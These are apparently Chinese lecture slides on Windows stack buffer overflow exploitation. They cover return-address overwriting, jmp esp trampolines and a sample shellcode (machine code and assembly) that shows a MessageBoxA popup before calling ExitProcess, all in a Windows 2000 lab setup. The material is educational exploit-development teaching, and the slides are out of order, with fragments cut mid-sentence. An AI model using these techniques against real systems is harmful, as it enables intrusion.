变量来改变程序流程,那么我们再把它的长度再延长一点,淹没掉返 回地址是否也能改变程序流程呢? buffer[0-3] buffer[4-7] authenticated EBP 返回地址 观察一下我们发现我们只需要先放置 16个字符串,然后接下来 左侧是变量的 排列顺序图
而不是狭义上的仅仅用来获得shell的代码
一、shellcode概述— shellcode与exploit
植入代码之前我们需要做大量的调试工作。
例如,弄清楚程序有几个输入点,这些输入会 当做哪个函数的参数读入到内存的哪一个区域,哪一 个输入会造成栈溢出等等。 调试后还要计算函数返回地址和缓冲区的偏移 并且淹没来使shellcode得到执行。 这个代码的植入过程就是漏洞利用,即exploit
推荐使用的环境 操作系统 编译器 编译选项 Build版本 Windows2000 VC 6.0 默认编译选项 Debug版本 备注 其他Win32操作系统也可 注意关闭GS选项 Vs2005等GS编译选项会导 致实验失败 Release版本需要重新调试
二、定位shellcode —使用“跳板”定位的 exploit
这个软件进行查找。
二、定位shellcode —使用“跳板”定位的 exploit
查找到user32.dll基址为0x77DF0000,MessageBoxA偏移量为 0x00033D68,函数的地址为0x77E23D68
二、定位shellcode —使用“跳板”定位的 exploit
查找到kernel32.dll基址为0x 77E60000,ExitProcess偏移量为 0x0001B0BB,函数的地址为0x77E7B0BB
二、定位shellcode —使用“跳板”定位的 exploit
接下来我们写一段小程序,来通过内存地址调用MessageBoxA这个函数 并且通过ExitProcess退出程序。 mov eax,0x77E23D68 call eax push ebx mov eax,0x77E7B0BB call eax } return 0; }
}
二、定位shellcode —获取“跳板”的地址
当然我们可以直接利用OllyDbg的插件获得整个
进程空间的各类跳转地址。 我们可以下载一个OllyUni.dll的插件,然后放在 Ollydbg的Plugins文件夹内,然后选择选项—目录— 设置好插件的文件夹,然后就可以进行使用了 (1.10 版有效,2.x版可能无效),然后进行如下的选择即可。
50 53
PUSH EAX PUSH EBX
二、定位shellcode —使用“跳板”定位的 exploit
下面对这段代码进行一下解释
机器代码
B8 683DE277
汇编指令
MOV EAX,77E23D68 CALL EAX PUSH EBX MOV EAX, BBB0E777 CALL EAX
二、定位shellcode —使用“跳板”定位的 exploit
我们写的这些程序,可以通过ollydbg提取出他们的机器码如图:
二、定位shellcode —使用“跳板”定位的 exploit
下面对这段代码进行一下解释 机器代码 33 DB 53 68 62757074 68 62757074 8B C4 53 50 汇编指令 XOR EBX,EBX PUSH EBX PUSH 74707562 PUSH 74707562 MOV EAX,ESP PUSH EBX PUSH EAX 注释 压入NULL结尾的“buptbupt” 字符串。用EBX清零后入栈是 为了避免PUSH 0中的NULL, 否则植入的机器码会被strcpy 函数截断 EAX里是字符串指针 4个参数按照从右向左的顺序 入栈,分别为 (0,buptbupt,buptbupt,0) 消息框为默认风格,文本区和 标题都是“buptbupt”
有的进程加载,且加载基址始终相同。
二、定位shellcode —获取“跳板”的地址
jmp esp对应的机器码是0xFFE4,我们可以写一个程序来
从user32.dll在内存中的基地址开始向后搜索 0xFFE4,找到就返 回其内存地址(指针值)。
代码核心部分如下:
BYTE *ptr; int position,address; HINSTANCE handle; BOOL done_flag=FALSE;
二、定位shellcode —使用“跳板”定位的 exploit
接下来我们写一段小程序,来通过内存地址调用MessageBoxA这个函数 并且通过ExitProcess退出程序。 #include<windows.h> int main() { HINSTANCE LibHandle; char dllbuf[11] = "user32.dll"; LibHandle = LoadLibrary(dllbuf); _asm{ sub sp,0x440 xor ebx,ebx push ebx push 0x74707562 push 0x74707562 mov eax,esp push ebx push eax push eax push ebx
数返回时,这个地址被弹入 EIP, 然后处理器
取指执行。
但是这种固定地址的方式会遇到下面的
问题。
二、定位shellcode —栈帧移位与jmp esp
正常栈数据 正常栈数据 地址A:shellcode shellcode shellcode EBP(被覆盖) 返回地址(地址A) 正常栈数据 正常栈数据 正常栈数据 调试exploit时用OllyDbg直接获得 Shellcode的起始地址并用其覆盖 函数返回地址,shellcode得以执行 正常栈数据 正常栈数据 地址A:正常栈数据 正常栈数据 shellcode shellcode shellcode EBP(被覆盖) 返回地址(地址A) 正常栈数据 程序重新被装入运行时,栈帧发生“移位” 先前查出的返回地址此时指向无效指令! 静态的shellcode地址不能适应动态的内存 变化
一、shellcode概述— shellcode与exploit
导弹 (exploit) 目标 (有漏洞的主机或程序)
瞄准系统、导航系统等 (返回地址、跳转指令)
弹头 (shellcode)
缓冲区溢出过程中的功能模块划分
二、定位shellcode
shellcode概述 定位shellcode 缓冲区的组织 shellcode编码技术
ESP
ESP
利用一条jmp esp指令的地址覆盖函数返回 地址。重新布置shellcode的摆放位置后,可 以准确地定位shellcode,适应栈区动态变化 的要求
二、定位shellcode —获取“跳板”的地址
在利用跳板之前,我们必须在进程空间中找到
一条jmp esp指令的地址作为“跳板”。除了PE文件 的代码被读入内存空间,一些经常被用到的动态链接 库也将会一同被映射到内存。其中,注入 kernel32.dll,user32.dll之类的动态链接库几乎会被所
一、shellcode概述— shellcode与exploit 1996 年, Aleph One 与 Underground 发
表了著名论文 Smashing the Stack for Fun
and Profit, 其中详细描述了 Linux 系统中栈的
结构和如何利用基于栈的缓冲区溢出。
一、shellcode概述— shellcode与exploit 在这篇具有划时代意义的论文中,Aleph
二、定位shellcode —栈帧移位与jmp esp 一般情况下, ESP 寄存器中的地址总是
指向系统栈中,且不会被溢出的数据破坏。
函数返回时, ESP 所指的位置恰好是我们所
淹没的返回地址的下一个位置,如下图所示
二、定位shellcode —栈帧移位与jmp esp
正常栈数据 正常栈数据 Buffer:shellcode shellcode shellcode EBP(被覆盖) 返回地址(地址A) 正常栈数据 正常栈数据 正常栈数据 使用静态地址定位,栈帧移 位时,无法精确定位 正常栈数据 正常栈数据 Buffer(任意填充物) 任意填充物 任意填充物 EBP(被覆盖) 返回地址(jmp esp) shellcode shellcode shellcode 正常栈数据 其他指令 Jump ESP 其他指令
二、定位shellcode —获取“跳板”的地址
二、定位shellcode —获取“跳板”的地址
然后点击ollydbg的’L’的那个按钮,查看日志文

二、定位shellcode —使用“跳板”定位的 exploit
查找到“跳板”的地址之后,我们可以利用它
来进行 shellcode 的注入了,我们做一个下面的实验:
由于记事本只能输入可见的文字,有局限,我
们用UltraEdit打开password.txt文件
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